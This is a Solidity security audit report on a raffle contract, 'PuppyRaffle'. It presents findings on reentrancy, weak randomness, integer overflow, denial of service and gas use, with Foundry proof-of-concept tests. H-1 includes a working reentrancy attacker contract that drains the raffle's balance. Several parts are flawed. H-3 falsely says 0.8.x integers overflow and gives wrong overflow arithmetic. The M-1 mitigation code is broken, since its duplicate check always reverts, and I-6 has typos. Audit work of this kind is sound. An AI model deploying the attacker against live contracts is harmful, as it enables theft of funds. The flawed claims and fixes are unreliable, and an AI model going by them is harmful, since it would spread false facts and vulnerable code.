



PuppyRaffle Audit Report

Version 1.0

Joev

June 6, 2026

PuppyRaffle Audit Report

Joev

June 06, 2026

Prepared by: Joev

Lead Auditors: Jonathan Evan

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Joev team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit process took a week due to the many new vulnerabilities and hacking patterns I hadn't encountered before. I discovered over 10 vulnerabilities for this protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function doesn't follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7     @> payable(msg.sender).sendValue(entranceFee);
8     @> players[playerIndex] = address(0);
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle from their attack contract.
4. Attacker also calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`.

```
1     function testReentrance() public playersEntered {
```

```
2      ReentrancyAttacker attacker = new ReentrancyAttacker(address(
3          puppyRaffle));
4      vm.deal(address(attacker), 1e18);
5      uint256 startingAttackerBalance = address(attacker).balance;
6      uint256 startingRaffleBalance = address(puppyRaffle).balance;
7
8      attacker.attack();
9
10     uint256 endingAttackerBalance = address(attacker).balance;
11     uint256 endingRaffleBalance = address(puppyRaffle).balance;
12     assertEq(endingAttackerBalance, startingAttackerBalance +
13         startingRaffleBalance);
14     assertEq(endingRaffleBalance, 0);
15
16     console.log("Starting attacker balance: ",
17         startingAttackerBalance);
18     console.log("Starting raffle balance: ", startingRaffleBalance)
19         ;
20     console.log("Ending attacker balance: ", endingAttackerBalance)
21         ;
22     console.log("Ending raffle balance: ", endingRaffleBalance);
23 }
24
25
```

And this contract as well.

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(address _puppyRaffle) {
7         puppyRaffle = PuppyRaffle(_puppyRaffle);
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16             ;
17
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26 }
27
28
```

```
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, We should have to update `players` array before making the external call in `PuppyRaffle::refund` function. Additionally, we should move the event emission up as well after `players` array updating.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7         + players[playerIndex] = address(0);
8         + emit RaffleRefunded(playerAddress);
9         payable(msg.sender).sendValue(entranceFee);
10        - players[playerIndex] = address(0);
11        - emit RaffleRefunded(playerAddress);
12    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious user can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` function if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the Solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner

3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions especially for 0.8.x integers were subject to integer overflow.

```
1 uint64 myVar = type(uint64).max
2 // Output: 18446744073709551615
3 myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle and conclude the raffle 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // Also known as
3 totalFees = 8000000000000000000 + 17800000000000000000
4 // And this will overflow!
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order to for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4     puppyRaffle.selectWinner();
```



```
5      uint256 startingTotalFees = puppyRaffle.totalFees();
6      // startingTotalFees = 0.8 ETH -> 800000000000000000
7
8      // We then have 89 players enter a new raffle
9      uint256 numPlayers = 89;
10     address[] memory players = new address[](numPlayers);
11     for (uint256 i; i < numPlayers; i++) {
12         players[i] = address(i);
13     }
14     puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
15         players);
16     vm.warp(block.timestamp + duration + 1);
17     vm.roll(block.number + 1);
18     puppyRaffle.selectWinner();
19
20     uint256 endingTotalFees = puppyRaffle.totalFees();
21     console.log("starting total fees: ", startingTotalFees);
22     console.log("ending total fees: ", endingTotalFees);
23
24     assert(endingTotalFees < startingTotalFees);
25
26     // We are also unable to withdraw any fees because of the
27     // require check
28     vm.expectRevert("PuppyRaffle: There are currently players
29         active!");
30     puppyRaffle.withdrawFees();
31 }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity 0.8.x and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.20;
3   .
4   .
5   .
6 - uint64 public totalFees = 0;
7 + uint256 public totalFees = 0;
```

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity. However you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
2   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through an array of players to check duplicates in

PuppyRaffle::enterRaffle is a potential Denial of Service (DoS) attack that could increase gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array, the more checks it have to make. This means that the gas cost for players who enter right at the time of the draw will be significantly lower than for those who enter later. Each additional address in the `players` array is an additional check the loop must perform.

```
1 // DoS Attack
2 @> for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(players[i] != players[j], "PuppyRaffle:
5             Duplicate player");
6     }
7 }
```

Impact: The gas costs for raffle entrants will increase drastically as more players enter the raffle. Discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503225 - 2st 100 players: ~18995465

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_denialOfService() public {
2     // Let's enter 100 players
3     uint256 playersNum = 100;
4     address[] memory players = new address[](playersNum);
5     for (uint256 i; i < playersNum; i++) {
6         players[i] = address(i);
7         // players[0] = address(0)
8         // players[0] = address(1)
9     }
10 }
```

```
11 // See how much gas it costs
12 uint256 gasStart = gasleft();
13 puppyRaffle.enterRaffle{value: entranceFee * players.length}(
14     players);
15 uint256 gasEnd = gasleft();
16 uint256 gasUsedFirst = (gasStart - gasEnd);
17 console.log("Gas cost of the first 100 players: ", gasUsedFirst
18     );
19 // Let's enter 2nd 100 players
20 address[] memory playersTwo = new address[](playersNum);
21 for (uint256 i; i < playersNum; i++) {
22     playersTwo[i] = address(i + playersNum); // 0, 1, 2 -->
23     100, 101, 102
24 }
25 // See how much gas it costs
26 uint256 gasStartSecond = gasleft();
27 puppyRaffle.enterRaffle{value: entranceFee * players.length}(
28     playersTwo);
29 uint256 gasEndSecond = gasleft();
30 uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);
31 console.log("Gas cost of the Second 100 players (200 players):
32     ", gasUsedSecond);
33 assert(gasUsedFirst < gasUsedSecond);
34 }
```

Output:

```
1 Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
2 [PASS] test_denialOfService() (gas: 25532987)
3 Logs:
4   Gas cost of the first 100 players: 6503225
5   Gas cost of the Second 100 players (200 players): 18995465
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3 .
```

```
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
8              PuppyRaffle: Must send enough to enter raffle");
9          for (uint256 i = 0; i < newPlayers.length; i++) {
10             players.push(newPlayers[i]);
11             addressToRaffleId[newPlayers[i]] = raffleId;
12         }
13         // Check for duplicates
14         // Check for duplicates only from the new players
15         for (uint256 i = 0; i < newPlayers.length; i++) {
16             require(addressToRaffleId[newPlayers[i]] != raffleId, "
17                 PuppyRaffle: Duplicate player");
18         }
19         for (uint256 i = 0; i < players.length - 1; i++) {
20             for (uint256 j = i + 1; j < players.length; j++) {
21                 require(players[i] != players[j], "PuppyRaffle:
22                     Duplicate player");
23             }
24         }
25         emit RaffleEnter(newPlayers);
26     }
27     .
28     function selectWinner() external {
29         raffleId = raffleId + 1
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
31             PuppyRaffle: Raffle not over");
32     }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (Recommended)

Pull over Push

Low**[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle**

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 // @return the index of the player in the array, if they are not
   active, it returns 0
2 function getActivePlayerIndex(address player) external view returns
   (uint256) {
3     for (uint256 i = 0; i < players.length; i++) {
4         if (players[i] == player) {
5             return i;
6         }
7     }
8     return 0;
9 }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and leading them to enter raffle again. This can actually waste gas.

Proof of Concept:

1. User enters the raffle and they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0

3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0. But a better solution might be to return an `int256` where the function return -1 if the player is not active.

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information about that.

[I-3] Missing checks for address(0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol - `constructor`

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol - `PuppyRaffle::changeFeeAddress`

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner doesn't follow CEI pattern, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see the number literals in a codebase and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant PERCENTAGE_DIVISOR = 100;
```

[I-6] Missing event in PuppyRaffle::selectWinner and PuppyRaffle::withdrawFees function

Emit the event in every function is recommended and important. It is recommended to add event emitting. Event is important for tracking data off-chain like monitoring the contract, frontend or indexer.

You can add this code in event part:

```
1 event RaffleEnter(address[] newPlayers);
2 event RaffleRefunded(address player);
3 event FeeAddressChanged(address newFeeAddress);
```

```
4 +   event WinnerSelected(address indexer winner, uint256 prizePool,  
5 +   event FeeWithdrawn(address indexer feeAddress, uint256 amount);
```

Add this code in `PuppyRaffle::selectWinner`:

```
1   function selectWinner() external {  
2       .  
3       .  
4       .  
5 +   emit WinnerSelected(winner, prizePool, tokenId);  
6   }
```

Add this code in `PuppyRaffle::withdrawFees`:

For the best implementation, use the emit event in call withdraw above. Following the CEI (Checks, Effects, Interactions) pattern, the emit event is included in the Effects.

```
1 function withdrawFees() external {  
2     require(address(this).balance == uint256(totalFees), "  
3         PuppyRaffle: There are currently players active!");  
4     uint256 feesToWithdraw = totalFees;  
5     totalFees = 0;  
6 +   emit FeeWithdrawn(feeAddress, feeToWithdraw);  
7     (bool success,) = feeAddress.call{value: feesToWithdraw}("");  
8     require(success, "PuppyRaffle: Failed to withdraw fees");  
9 }
```

[I-7] `PuppyRaffle::_isActivePlayer` is never used in the contract

`PuppyRaffle::_isActivePlayer` is never used in the contract, it is recommended to remove that function to save a gas.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage variable is much more expensive gas than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient. So, create `playersLength` variable which is a memory variable to save more gas.

```
1 +      uint256 playersLength = players.length;
2 -      for (uint256 i = 0; i < players.length - 1; i++) {
3 +      for (uint256 i = 0; i < playersLength - 1; i++) {
4 -          for (uint256 j = i + 1; j < players.length; j++) {
5 +          for (uint256 j = i + 1; j < playersLength; j++) {
6              require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7          }
8      }
```